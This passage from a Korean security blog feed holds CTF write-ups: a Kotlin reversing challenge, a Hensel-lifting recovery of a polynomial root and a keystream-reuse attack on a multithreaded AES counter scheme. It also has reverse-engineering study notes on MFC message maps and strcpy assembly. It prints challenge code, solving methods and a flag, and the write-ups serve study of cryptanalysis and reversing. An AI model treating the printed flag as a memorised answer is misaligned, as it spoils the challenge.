&lt;p&gt;'이런 바보...'라 생각하며 compress 함수의 내용 및 이와 연관된 Multiplier 클래스 등을&amp;nbsp;면밀히 살펴봤는데 잘 이해가 되지 않았다.&lt;/p&gt;&lt;p&gt;그러던 중! Multiplier클래스의&amp;nbsp; get함수에서&lt;/p&gt;&lt;p&gt;굳이 this.m값을 32로 곱했다가 32로 나눈 뒤 반환하는게 이상하다는 생각이 들었다.&lt;/p&gt;&lt;p&gt;그냥 32라는 수가 눈에 띄었다&lt;/p&gt;&lt;p&gt;그리고 flag 길이는 28 설마..?&lt;/p&gt;&lt;p&gt;그렇다. compress는 여러 숫자가 있을때 이를 이어붙여 두자리수 또는 세자리수를 하나 만들고 이를 32진법으로 읽었을때의 수를 반환하는 과정이었다.&lt;/p&gt;&lt;p&gt;예를 들어, 452 = 14 * 32 + 4 이므로&lt;/p&gt;&lt;p&gt;'0'은 flag의 index14와 index4에 해당한다는 의미!&lt;/p&gt;&lt;p&gt;이런 식으로 flag를 완성할 수 있었다.&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;FL4G&lt;/h1&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C4C34B5C9066680A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C4C34B5C9066680A&quot; width=&quot;900&quot; height=&quot;514&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTFs</category>
      <category>CTF</category>
      <category>kotlin</category>
      <category>reverse</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/68</guid>
      <comments>https://yongy0ng2.tistory.com/68#entry68comment</comments>
      <pubDate>Tue, 19 Mar 2019 12:49:04 +0900</pubDate>
    </item>
    <item>
      <title>[CONFidence CTF 2019 Teaser] Bro, do you even lift? writeup</title>
      <link>https://yongy0ng2.tistory.com/67</link>
      <description>&lt;h1&gt;문제&lt;/h1&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 557px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A0963F5C8FC53E07&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A0963F5C8FC53E07&quot; width=&quot;557&quot; height=&quot;220&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;분석&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;두 개의 파일이 주어진다.&lt;/p&gt;
&lt;p&gt;lift.sage는 syntax가 python 비슷..한것이 뭔가 알고리즘을 하나 정의하고 있는 듯 보이고&lt;/p&gt;
&lt;p&gt;out.txt는 그 알고리즘이 실행된 후의 출력값처럼 보인다.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot; title=&quot;lift.sage의 내용&quot;&gt;flag = int(open('flag.txt','r').read().encode(&quot;hex&quot;),16)
ranges = int(log(flag,2))
p = next_prime(ZZ.random_element(2^15, 2^16))
k = 100
N = p^k
d = 5
P.&lt;x&gt; = PolynomialRing(Zmod(N), implementation='NTL')
pol = 0
for c in range(d):
    pol += ZZ.random_element(2^ranges, 2^(ranges+1))*x^c
remainder = pol(flag)
pol = pol - remainder
assert pol(flag) == 0

print(p)
print(pol)
&lt;/pre&gt;
&lt;pre class=&quot;brush:plain&quot; title=&quot;out.txt의 내용&quot;&gt;35671
12172655049735206766902704703038559858384636896299329359049381021748*x^4 +
11349632906292428218038992315252727065628405382223597973250830870345*x^3 +
9188725924715231519926481580171897766710554662167067944757835186451*x^2 +
8640134917502441100824547249422817926745071806483482930174015978801*x +
170423096151399242531943631075016082117474571389010646663163733960337669863762406085472678450206495375341400002076986312777537466715254543510453341546006440265217992449199424909061809647640636052570307868161063402607743165324091856116789213643943407874991700761651741114881108492638404942954408505222152223605412516092742190317989684590782541294253512675164049148557663016927886803673382663921583479090048005883115303905133335418178354255826423404513286728
&lt;/pre&gt;&lt;p&gt;코드실행 결과, 수(p)와 다항식 하나 ( f(x) )가 출력되었다.&lt;/p&gt;
&lt;p&gt;코드 분석을 해봤을때 f(flag) = 0 mod p^n 으로 생각된다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;cf) 반복문으로 pol (polynomial)을 형성하는 부분을 봤을때,&lt;/p&gt;
&lt;p&gt;flag와 같은 비트의 수가 계수로 사용됨을 알 수 있다.&lt;/p&gt;
&lt;p&gt;이 때, $x^4$, $x^3$, $x^2$, $x$의 계수 네 개는 모두 223 bit이다.&lt;/p&gt;
&lt;p&gt;따라서, 우리가 찾고자 하는 flag도 223-bit number라는 것을 알 수 있다.&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;EXPLOIT&lt;/h1&gt;&lt;p&gt;이때, 수학적으로 $f(x) \equiv&amp;nbsp;0\,mod\,p^n$이고 p가 prime number이면&lt;/p&gt;
&lt;p&gt;$f(x) \equiv&amp;nbsp;0 \,mod\, p$ 임은 자명하다.&lt;/p&gt;
&lt;p&gt;연속적으로, $f(x) \equiv&amp;nbsp;0 \,mod \,p^2$ , $f(x) \equiv&amp;nbsp;0 \,mod \,p^3$ ...등등도 항상 성립한다.&lt;/p&gt;
&lt;p&gt;따라서 우리는 flag값을 순차적으로 찾아낼 수가 있다.&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;FL4G&lt;/h1&gt;&lt;p&gt;$f(t_0) \equiv&amp;nbsp;0\, mod\, p$ 인 $t_0$를 찾아내면,&lt;/p&gt;
&lt;p&gt;$flag \equiv&amp;nbsp;t_0\, mod \,p$&lt;/p&gt;
&lt;p&gt;즉, $ flag = Xp + t_0 $&lt;/p&gt;
&lt;p&gt;그 다음으로,&lt;/p&gt;
&lt;p&gt;$ f(t_1&amp;nbsp;p + t_0) \equiv 0\,mod\,p^2$ 인 $t_1$을 찾아낸다.&lt;/p&gt;
&lt;p&gt;같은 방법으로 $t_2$, $t_3$, $t_4$, ... 를 찾아내어&amp;nbsp;&lt;/p&gt;
&lt;p&gt;$mod p^n$ 상에서의 최종 flag 값을 찾아낼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;※주의 : $t_0$으로 가능한 값이 25020, 27020 두 가지가 발생한다. 이 때 25020을 선택하여 flag 값을 구하면 해당 값이 223bit가 아니다. 즉, 우리가 원하는 flag가 아니다. $t_0$값을 27020으로 설정하고 flag 값을 끝까지 구하면 223bit짜리 우리가 원하는 flag를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;아래는 flag 구하는 코드 실행 장면 (코드 첨부함)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 619px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997625485C8FCECB33&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997625485C8FCECB33&quot; width=&quot;619&quot; height=&quot;55&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/99E1F7385C8FCF0604&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;code.py&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTFs</category>
      <category>Crypto</category>
      <category>Cryptography</category>
      <category>CTF</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/67</guid>
      <comments>https://yongy0ng2.tistory.com/67#entry67comment</comments>
      <pubDate>Tue, 19 Mar 2019 02:04:22 +0900</pubDate>
    </item>
    <item>
      <title>[CONFidence CTF 2019 Teaser] Count me in! writeup</title>
      <link>https://yongy0ng2.tistory.com/66</link>
      <description>&lt;h1&gt;문제&lt;/h1&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 651px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F0293F5C8FBAAA09&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F0293F5C8FBAAA09&quot; width=&quot;651&quot; height=&quot;246&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;분석&lt;/h1&gt;&lt;p&gt;총 2개의 파일이 주어진다.&lt;/p&gt;
&lt;p&gt;output.txt와 count.py&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py toolbar:false&quot; title=&quot;count.py의 내용&quot;&gt;import multiprocessing

from Crypto.Cipher import AES

from secret import key, flag

counter = 0
aes = AES.new(key, AES.MODE_ECB)


def chunk(input_data, size):
    return [input_data[i:i + size] for i in range(0, len(input_data), size)]


def xor(*t):
    from functools import reduce
    from operator import xor
    return [reduce(xor, x, 0) for x in zip(*t)]


def xor_string(t1, t2):
    t1 = map(ord, t1)
    t2 = map(ord, t2)
    return &quot;&quot;.join(map(chr, xor(t1, t2)))


def pad(data):
    pad_byte = 16 - len(data) % 16
    return data + (chr(pad_byte) * pad_byte)


def worker_function(block):
    global counter
    key_stream = aes.encrypt(pad(str(counter)))
    result = xor_string(block, key_stream)
    counter += 1
    return result


def distribute_work(worker, data_list, processes=8):
    pool = multiprocessing.Pool(processes=processes)
    result = pool.map(worker, data_list)
    pool.close()
    return result


def encrypt_parallel(plaintext, workers_number):
    chunks = chunk(pad(plaintext), 16)
    results = distribute_work(worker_function, chunks, workers_number)
    return &quot;&quot;.join(results)


def main():
    plaintext = &quot;&quot;&quot;The Song of the Count

You know that I am called the Count
Because I really love to count
I could sit and count all day
Sometimes I get carried away
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4,
1-2, i love couning whatever the ammount haha!
1-2-3-4, heyyayayay heyayayay that's the sound of the count
I count the spiders on the wall...
I count the cobwebs in the hall...
I count the candles on the shelf...
When I'm alone, I count myself!
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4, 1,
2 I love counting whatever the
ammount! 1-2-3-4 heyayayay heayayay 1-2-3-4
That's the song of the Count!
&quot;&quot;&quot; + flag
    encrypted = encrypt_parallel(plaintext, 32)
    print(encrypted.encode(&quot;hex&quot;))


if __name__ == '__main__':
    multiprocessing.freeze_support()
    main()&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;/pre&gt;&lt;p&gt;여기서 multiprocessing 모듈은 멀티 스레딩 작업을 위한 모듈이고&amp;nbsp;distribute_work 함수 등은 이를 위해 설계된 것이다.&lt;/p&gt;
&lt;p&gt;output.txt에는 위 python 코드의 실행결과로 보이는 암호문이 있었다.&lt;/p&gt;
&lt;p&gt;대부분의 CTF 문제가 그렇듯이 멀티 스레딩 작업을 하는 부분에서 취약점이 발생하지 않을까 생각했다.&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;EXPLOIT&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;위 python code는 plain text를 16바이트씩 분할하여 AES-EBC 암호화 하는 프로그램이다.&lt;/p&gt;
&lt;p&gt;또한 이를 면밀히 분석하면, 여러 스레드가 동시에 worker_function을 실행함을 알 수 있다.&lt;/p&gt;
&lt;p&gt;그러면서 count를 증가시키고, 이를 key 값으로 사용하는 것이다.&lt;/p&gt;
&lt;p&gt;하지만 멀티 스레딩, 즉 여러 스레드가 이를 동시에 실행하기 때문에 같은 count 값을 가지고 key를 형성하는 일이 필연적으로 생길 수 밖에 없다.&lt;/p&gt;
&lt;p&gt;이를 확인하고자 plaintext를 'a' * 976으로 두고 위 python code를 실행해보았다.&lt;/p&gt;
&lt;p&gt;그 결과는 아래와 같았다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 344px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997941465C8FBFFA15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997941465C8FBFFA15&quot; width=&quot;344&quot; height=&quot;378&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;0번째 줄, 6번째 줄, 13번째 줄, 21번째 줄의 내용이 일치한다.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;즉, 해당 block에 대해 같은 key 값이 사용되었음을 의미한다.&lt;/p&gt;
&lt;p&gt;그렇다면 output.txt도 마찬가지일 것이다.&lt;/p&gt;
&lt;p&gt;이 점을 이용해 i가 주어졌을때&amp;nbsp;plaintext[i]^ciphertext[i]와 plaintext[j]^ciphertext[j]가 같은 j를 찾아내는 코드를 만들었고&lt;/p&gt;
&lt;p&gt;flag가 시작되는 지점은 plaintext[57]부터 이므로 i에 57을 대입해서 실행해보았다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 138px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C50B345C8FC22212&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C50B345C8FC22212&quot; width=&quot;138&quot; height=&quot;67&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;실행결과는, 54번 라인이 이와 같다고 나왔다!&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;FL4G&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;plaintext[54]^ciphertext[54]를 계산하여 54번 라인과 57번 라인에서 공통으로 사용된 키 스트림을 구해냈고&lt;/p&gt;
&lt;p&gt;이 키와 ciphertext[57]을 xor 연산한 결과,&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 167px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A64F365C8FC29209&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A64F365C8FC29209&quot; width=&quot;167&quot; height=&quot;24&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;flag가 구해짐을 알 수 있었다.&lt;/p&gt;
&lt;p&gt;마찬가지로 58번 라인, 59번 라인, 60번 라인도 구해냈다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 175px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F2A2345C8FC2D812&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F2A2345C8FC2D812&quot; width=&quot;175&quot; height=&quot;87&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot; original=&quot;yes&quot;/&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 162px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990B48335C8FC33E36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990B48335C8FC33E36&quot; width=&quot;162&quot; height=&quot;71&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 148px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CA23355C8FC37E18&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CA23355C8FC37E18&quot; width=&quot;148&quot; height=&quot;73&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;background-color: rgb(255, 178, 217);&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 178, 217);&quot;&gt;FLAG : p4{at_the_end_of_the_day_you_can_only_count_on_yourself}&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 178, 217);&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;table cellspacing=&quot;5&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; align=&quot;center&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTFs</category>
      <category>AES-EBC</category>
      <category>Crypto</category>
      <category>CTF</category>
      <category>multi-thread</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/66</guid>
      <comments>https://yongy0ng2.tistory.com/66#entry66comment</comments>
      <pubDate>Tue, 19 Mar 2019 01:16:12 +0900</pubDate>
    </item>
    <item>
      <title>07 MFC 리버싱</title>
      <link>https://yongy0ng2.tistory.com/65</link>
      <description>&lt;P&gt;MFC(Microsoft Foundation Classes) : Visual C++에 부속되는 클래스 라이브러리, 윈도우 애플리케이션 개발에 적합하도록 제공되는 프레임워크&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;MFC 개발여부 확인 : PE헤더의 IAT 확인 (패킹된 경우 : 메모리에 로드되었을때 .rdata섹션에 MFC관련 클래스가 보관되어 있음)&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;MFC 라이브러리(심볼파일) 등록 : OllyDBG에서 debug - Select Import Libraries 메뉴를 통해 lib 파일을 등록&lt;/P&gt;
&lt;P&gt;보통 C:\Program Files\Microsoft SDK\Lib\IA64\mfc 디렉토리에 위치&lt;/P&gt;
&lt;P&gt;-&amp;gt; MFC함수의 이름이 자세히 표기된다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;1. MFC 초기화 루틴 찾기&lt;/P&gt;
&lt;P&gt;MFC의 초기화 루틴은 OnInitDialog()에서 이뤄진다.&lt;/P&gt;
&lt;P&gt;이 함수는 MFC의 API함수 CDialog::OnInitDialog를 호출한다.&lt;/P&gt;
&lt;P&gt;IAT에서 CDialog::OnInitDialog를 찾고 역참조 기법을 이용해서 개발자가 직접 만든 OnInitDialog() 부분을 찾을 수 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;버튼 핸들러 찾기&lt;/H3&gt;
&lt;P&gt;MFC 핸들러 함수는 가상 함수라서 .rdata 섹션에 테이블이 보관된다. 또한 상속의 개념에 따라 함수의 엔트리 포인트가 push ebp와 같은 일반적인 코드로 시작되지 않는다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;핸들러를 하나 만들때마다 아래의 구조체(메시지 맵)가 하나씩 생긴다.&lt;/P&gt;&lt;PRE class=&quot;brush:c gutter:false&quot;&gt;struct AFX_MSGMAP_ENTRY {
  UINT nMessage;	// 윈도우 메시지 (WM_PAINT, WM_CREATE 등)
  UINT nCode;	// control code or WM_NOTIFY code (new in MFC 3.0)
  UINT nID;	// 메시지를 발생시킨 컨트롤 ID (윈도우 메시지일 경우 0)
  UINT nLastID;	// 컨트롤 ID의 범위를 나타내는 entry (new in MFC 3.0)
  UINT_PTR nSIG;	// nMessage에 해당되는 함수의 시그니처
  AFX_PMSG pfn;	// nMessage를 처리하는 함수의 포인터
};
&lt;/PRE&gt;
&lt;P&gt;여기서 pfn이 핸들러 함수의 주소이다.&lt;/P&gt;
&lt;P&gt;따라서 핸들러를 찾고자하는 컴포넌트의&amp;nbsp;메시지 맵 구조체만 찾으면 된다.&lt;/P&gt;
&lt;P&gt;이때 nID와 nLastID에 리소스 ID가 들어가기 때문에 이를 이용해서 찾아낼 수 있다.&lt;/P&gt;&lt;PRE class=&quot;brush:c gutter:false&quot;&gt;#define IDM_ABOUTBOX		0x0010
#define IDD_ABOUTBOX		100
#define IDS_ABOUTBOX		101
#define IDD_MFCREVERSING_DIALOG	102
#define IDR_MAINFRAME		128
#define IDC_BUTTON1		1000
#define IDC_BUTTON2		1001
&lt;/PRE&gt;
&lt;P&gt;추가로, 리소스 해커를 이용하면 Dialog 리소스에서 특정 버튼이 선언된 곳을 찾아낼 수 있다.&lt;/P&gt;
&lt;P&gt;여기서 그 버튼의 리소스 ID를 알아내자.&lt;/P&gt;
&lt;P&gt;예를 들어 리소스 ID가 1001로 확인되었으면&lt;/P&gt;
&lt;P&gt;OllyDBG를 이용해&amp;nbsp;.rdata섹션에서 E9 03 00 00 E9 03 00 00의 위치를 검색해주면 메시지 맵을 찾을 수 있다.&lt;/P&gt;
&lt;P&gt;이때 E9 03 00 00 E9 03 00 00로 해주는 이유는 우선 리소스 ID를 넣는 field가 두번 연속해서 나오기 때문이고, 16진수로 변환한 후 리틀 엔디언 방식을 적용했기 때문이다.&lt;/P&gt;</description>
      <category>리버스 엔지니어링 바이블</category>
      <category>mfc</category>
      <category>리버싱 중급</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/65</guid>
      <comments>https://yongy0ng2.tistory.com/65#entry65comment</comments>
      <pubDate>Sun, 11 Nov 2018 02:11:20 +0900</pubDate>
    </item>
    <item>
      <title>06 흔히 사용하는 패턴</title>
      <link>https://yongy0ng2.tistory.com/64</link>
      <description>&lt;H3&gt;strcpy의 구조&lt;/H3&gt;&lt;PRE class=brush:plain&gt;or ecx, FFFFFFFF
xor eax, eax
lea edx, dword ptr ss:[esp]
push esi
push edi
mov edi, example.00407034
repne scas byte ptr es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movs dword ptr es:[edi], dword ptr ds:[esi]
mov ecx, eax
and ecx, 3
rep movs byte ptr es:[edi], byte ptr ds:[esi]
lea ecx, dword ptr ss:[esp+8]
push ecx
push example.00407030
call example.00401230
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;1. 문자열 길이를 구함 (1 ~ 8)&lt;/P&gt;
&lt;P&gt;2. 출발지를 esi에 넣고, 목적지를 edi에 넣음 (9 ~ 12)&lt;/P&gt;
&lt;P&gt;3. 문자열 길이에 해당하는 값을 4로 나눠서 몫을 구함 (13)&lt;/P&gt;
&lt;P&gt;4. 4 x (3.에서 구한 값) 만큼을 복사함 (14)&lt;/P&gt;
&lt;P&gt;5. 문자열 길이에 해당하는 값을 4로 나눈 나머지를 구함 (15 ~&amp;nbsp;16)&lt;/P&gt;
&lt;P&gt;6. (5.에서 구한 값) 만큼을 복사함 (17)&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;TABLE class=txc-table style=&quot;FONT-SIZE: 13px; BORDER-TOP: medium none; FONT-FAMILY: '맑은 고딕',sans-serif; BORDER-RIGHT: medium none; WIDTH: 484px; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none&quot; cellSpacing=0 cellPadding=0 width=484 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 147px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;rep&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 336px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;ecx&amp;gt;0인 동안 명령어 반복&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 147px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;repz, repe&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 336px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;ZERO 플래그가 1이고, ecx&amp;gt;0인 동안 명령어 반복&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 147px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;repnz, repne&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 336px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;ZERO 플래그가 0이고, ecx&amp;gt;0인 동안 명령어 반복&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;TABLE class=txc-table style=&quot;FONT-SIZE: 13px; BORDER-TOP: medium none; FONT-FAMILY: '맑은 고딕',sans-serif; BORDER-RIGHT: medium none; WIDTH: 469px; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none&quot; cellSpacing=0 cellPadding=0 width=469 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 143px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;scasb&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 327px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
